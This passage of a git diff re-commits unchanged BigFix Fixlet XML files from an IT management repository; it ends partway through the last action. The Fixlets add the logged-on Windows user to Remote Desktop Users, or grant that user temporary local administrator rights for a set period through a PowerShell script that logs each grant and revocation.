-    <Title>Invoke - Add Current User to Remote Desktop Users - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet adds the currently logged on user to the Remote Desktop Users group.</P>
-<P><STRONG>Applicability Note: </STRONG>This Fixlet will not be relevant if the currently logged on user is a part of the Remote Desktop Users group or the Administrators Group. This Fixlet will not be relevant if the currently logged on user is a&nbsp;part of a group that is part of the Administrators Group or the Remote Desktop Users group. This Fixlet will not be relevant if there are no logged on users or if there is more than one logged on user.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists logged on user</Relevance>
-    <Relevance>/* exclude Built-In Administrator */ component string of sid of logged on user does not start with &quot;S-1-5-21-&quot; or component string of sid of logged on user does not end with &quot;-500&quot;</Relevance>
-    <Relevance>not exists elements of intersection of ( /*IS THE LOGGED IN USER AN ADMINISTRATOR? */   set of ( /* User&apos;s SID and Group Memberships */   ((sids of groups of logged on user of active directory) as string); /*User Group Memberships */   (sid of logged on user) as string /*Users SID*/  );  (   (   set of ( /*Users and Groups in Administrators */    sids of members of local group &quot;administrators&quot; as string)   ) + (   set of ( /*Users and Groups in Remote Desktop Users */    sids of members of local group &quot;remote desktop users&quot; as string)   )  ) )</Relevance>
-    <Category>Administrative Rights</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-
-wait net localgroup &quot;Remote Desktop Users&quot; &quot;{sid of current user}&quot; /add</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Add Current User to Remote Desktop Users - Windows
+  ID       : 24406
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-06-06T09:51:41
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Add Current User to Remote Desktop Users - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet adds the currently logged on user to the Remote Desktop Users group.</P>
+<P><STRONG>Applicability Note: </STRONG>This Fixlet will not be relevant if the currently logged on user is a part of the Remote Desktop Users group or the Administrators Group. This Fixlet will not be relevant if the currently logged on user is a&nbsp;part of a group that is part of the Administrators Group or the Remote Desktop Users group. This Fixlet will not be relevant if there are no logged on users or if there is more than one logged on user.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists logged on user</Relevance>
+    <Relevance>/* exclude Built-In Administrator */ component string of sid of logged on user does not start with &quot;S-1-5-21-&quot; or component string of sid of logged on user does not end with &quot;-500&quot;</Relevance>
+    <Relevance>not exists elements of intersection of ( /*IS THE LOGGED IN USER AN ADMINISTRATOR? */   set of ( /* User&apos;s SID and Group Memberships */   ((sids of groups of logged on user of active directory) as string); /*User Group Memberships */   (sid of logged on user) as string /*Users SID*/  );  (   (   set of ( /*Users and Groups in Administrators */    sids of members of local group &quot;administrators&quot; as string)   ) + (   set of ( /*Users and Groups in Remote Desktop Users */    sids of members of local group &quot;remote desktop users&quot; as string)   )  ) )</Relevance>
+    <Category>Administrative Rights</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+wait net localgroup &quot;Remote Desktop Users&quot; &quot;{sid of current user}&quot; /add</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Temporary Administrators - Windows (24155).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Temporary Administrators - Windows (24155).bes
index d6cd194bd..b01e29b7b 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Temporary Administrators - Windows (24155).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Temporary Administrators - Windows (24155).bes	
@@ -1,807 +1,807 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Add Current User to Temporary Administrators - Windows
-  ID       : 24155
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-05-02T07:24:54
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Add Current User to Temporary Administrators - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet grants a user administrative rights and creates a store of users with their expirations dates/times.</P>
-<P>This fixlet by itself does not remove their administartive rights when the expiration time passes. Removing their access requires&nbsp;the, "Invoke - Remove Expired Users from Temporary Administrators - Windows" fixlet to be run as a policy action.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists logged on user</Relevance>
-    <Relevance>/* exclude Built-In Administrator */ component string of sid of logged on user does not start with &quot;S-1-5-21-&quot; or component string of sid of logged on user does not end with &quot;-500&quot;</Relevance>
-    <Relevance>not exists elements of intersection of ( /*IS THE LOGGED IN USER AN ADMINISTRATOR? */   set of ( /* User&apos;s SID and Group Memberships */   ((sids of groups of logged on user of active directory) as string); /*User Group Memberships */   (sid of logged on user) as string /*Users SID*/  );(  set of (/*Users and Groups in Administrators */   sids of members of local group &quot;administrators&quot; as string)  )  )</Relevance>
-    <Category>Temporary Administrative Rights</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to grant the current user administrative rights for 1 hour.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-parameter "SIDS"="{component strings of sid of logged on user}"
-parameter "TimeStamp"="{now}"
-parameter "Start"="{now}"
-parameter "Expiration"="{now + 1*hour}"
-parameter "Switches"="-Grant -Admin"
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete rightshandler.ps1
-
-createfile until _end_
-param (
-    $SIDS,
-    $TimeStamp,
-    $Start,
-    $Expiration,
-    [switch]$Grant,
-    [switch]$Revoke,
-    [switch]$Admin,
-    [switch]$Requestor
-)
-
-function write-log {{
-    param (
-        $Message,
-        [ValidateSet("Verbose","Grant","Revoke")]
-        $Type = "Verbose"
-    )
-
-    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
-    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
-    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
-
-    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
-    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
-
-    write-verbose $Message
-    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
-}
-
-
-function new-registrystructure {{
-    param (
-        $Path
-    )
-    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
-
-    return "$Path"
-}
-
-if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
-    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
-} else {{
-    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
-}
-
-$Store = @{{
-    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
-
-    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
-    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
-    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
-
-    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
-    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
-    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
-}
-
-#Build Registry Store
-foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
-
-function get-UserFromSID {{
-    param (
-        $SID
-    )
-    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
-    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
-
-    return $objName.Value
-}
-
-foreach ($SID in $SIDS.split(";")){{
-
-    $UserWithDomain = get-UserFromSID $SID
-
-    if ($Grant -and $Requestor) {{
-        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
-
-        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
-
-        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Revoke -and $Requestor) {{
-        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
-
-        # Create \Expired Authorized Requestors\SID\TimeStamp
-        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
-        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
-
-        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
-        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
-        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Admin -and $Grant) {{
-        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
-
-        #Add User to Current Temp Admins
-        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
-
-        #Log User's Temporary Administrator Access
-        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-
-        #Grant User Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /add
-    }
-
-    if ($Admin -and $Revoke) {{
-        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
-
-        #Revoke User's Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /delete
-
-        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
-        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
-
-        #Copy from Current and add timestamp+revoke time
-        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
-    }
-
-}
-_end_
-
-move __createfile rightshandler.ps1
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
-]]></ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-    <Action ID="Action25210">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to grant the current user administrative rights for 8 hours. </PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-parameter "SIDS"="{component strings of sid of logged on user}"
-parameter "TimeStamp"="{now}"
-parameter "Start"="{now}"
-parameter "Expiration"="{now + 8*hour}"
-parameter "Switches"="-Grant -Admin"
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete rightshandler.ps1
-
-createfile until _end_
-param (
-    $SIDS,
-    $TimeStamp,
-    $Start,
-    $Expiration,
-    [switch]$Grant,
-    [switch]$Revoke,
-    [switch]$Admin,
-    [switch]$Requestor
-)
-
-function write-log {{
-    param (
-        $Message,
-        [ValidateSet("Verbose","Grant","Revoke")]
-        $Type = "Verbose"
-    )
-
-    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
-    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
-    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
-
-    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
-    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
-
-    write-verbose $Message
-    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
-}
-
-
-function new-registrystructure {{
-    param (
-        $Path
-    )
-    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
-
-    return "$Path"
-}
-
-if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
-    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
-} else {{
-    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
-}
-
-$Store = @{{
-    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
-
-    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
-    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
-    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
-
-    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
-    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
-    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
-}
-
-#Build Registry Store
-foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
-
-function get-UserFromSID {{
-    param (
-        $SID
-    )
-    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
-    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
-
-    return $objName.Value
-}
-
-foreach ($SID in $SIDS.split(";")){{
-
-    $UserWithDomain = get-UserFromSID $SID
-
-    if ($Grant -and $Requestor) {{
-        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
-
-        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
-
-        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Revoke -and $Requestor) {{
-        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
-
-        # Create \Expired Authorized Requestors\SID\TimeStamp
-        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
-        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
-
-        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
-        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
-        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Admin -and $Grant) {{
-        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
-
-        #Add User to Current Temp Admins
-        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
-
-        #Log User's Temporary Administrator Access
-        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-
-        #Grant User Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /add
-    }
-
-    if ($Admin -and $Revoke) {{
-        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
-
-        #Revoke User's Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /delete
-
-        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
-        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
-
-        #Copy from Current and add timestamp+revoke time
-        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
-    }
-
-}
-_end_
-
-move __createfile rightshandler.ps1
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
-]]></ActionScript>
-    </Action>
-    <Action ID="Action25211">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to grant the current user administrative rights for 1 day. </PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-parameter "SIDS"="{component strings of sid of logged on user}"
-parameter "TimeStamp"="{now}"
-parameter "Start"="{now}"
-parameter "Expiration"="{now + 1*day}"
-parameter "Switches"="-Grant -Admin"
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete rightshandler.ps1
-
-createfile until _end_
-param (
-    $SIDS,
-    $TimeStamp,
-    $Start,
-    $Expiration,
-    [switch]$Grant,
-    [switch]$Revoke,
-    [switch]$Admin,
-    [switch]$Requestor
-)
-
-function write-log {{
-    param (
-        $Message,
-        [ValidateSet("Verbose","Grant","Revoke")]
-        $Type = "Verbose"
-    )
-
-    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
-    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
-    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
-
-    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
-    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
-
-    write-verbose $Message
-    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
-}
-
-
-function new-registrystructure {{
-    param (
-        $Path
-    )
-    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
-
-    return "$Path"
-}
-
-if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
-    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
-} else {{
-    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
-}
-
-$Store = @{{
-    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
-
-    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
-    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
-    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
-
-    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
-    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
-    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
-}
-
-#Build Registry Store
-foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
-
-function get-UserFromSID {{
-    param (
-        $SID
-    )
-    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
-    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
-
-    return $objName.Value
-}
-
-foreach ($SID in $SIDS.split(";")){{
-
-    $UserWithDomain = get-UserFromSID $SID
-
-    if ($Grant -and $Requestor) {{
-        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
-
-        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
-
-        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Revoke -and $Requestor) {{
-        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
-
-        # Create \Expired Authorized Requestors\SID\TimeStamp
-        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
-        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
-
-        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
-        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
-        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Admin -and $Grant) {{
-        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
-
-        #Add User to Current Temp Admins
-        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
-
-        #Log User's Temporary Administrator Access
-        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-
-        #Grant User Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /add
-    }
-
-    if ($Admin -and $Revoke) {{
-        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
-
-        #Revoke User's Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /delete
-
-        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
-        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
-
-        #Copy from Current and add timestamp+revoke time
-        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
-    }
-
-}
-_end_
-
-move __createfile rightshandler.ps1
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
-]]></ActionScript>
-    </Action>
-    <Action ID="Action25212">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to grant the current user administrative rights for&amp;nbsp;5 days. </PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-parameter "SIDS"="{component strings of sid of logged on user}"
-parameter "TimeStamp"="{now}"
-parameter "Start"="{now}"
-parameter "Expiration"="{now + 5*day}"
-parameter "Switches"="-Grant -Admin"
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete rightshandler.ps1
-
-createfile until _end_
-param (
-    $SIDS,
-    $TimeStamp,
-    $Start,
-    $Expiration,
-    [switch]$Grant,
-    [switch]$Revoke,
-    [switch]$Admin,
-    [switch]$Requestor
-)
-
-function write-log {{
-    param (
-        $Message,
-        [ValidateSet("Verbose","Grant","Revoke")]
-        $Type = "Verbose"
-    )
-
-    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
-    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
-    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
-
-    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
-    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
-
-    write-verbose $Message
-    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
-}
-
-
-function new-registrystructure {{
-    param (
-        $Path
-    )
-    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
-
-    return "$Path"
-}
-
-if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
-    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
-} else {{
-    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
-}
-
-$Store = @{{
-    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
-
-    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
-    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
-    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
-
-    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
-    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
-    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
-}
-
-#Build Registry Store
-foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
-
-function get-UserFromSID {{
-    param (
-        $SID
-    )
-    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
-    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
-
-    return $objName.Value
-}
-
-foreach ($SID in $SIDS.split(";")){{
-
-    $UserWithDomain = get-UserFromSID $SID
-
-    if ($Grant -and $Requestor) {{
-        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
-
-        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
-
-        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
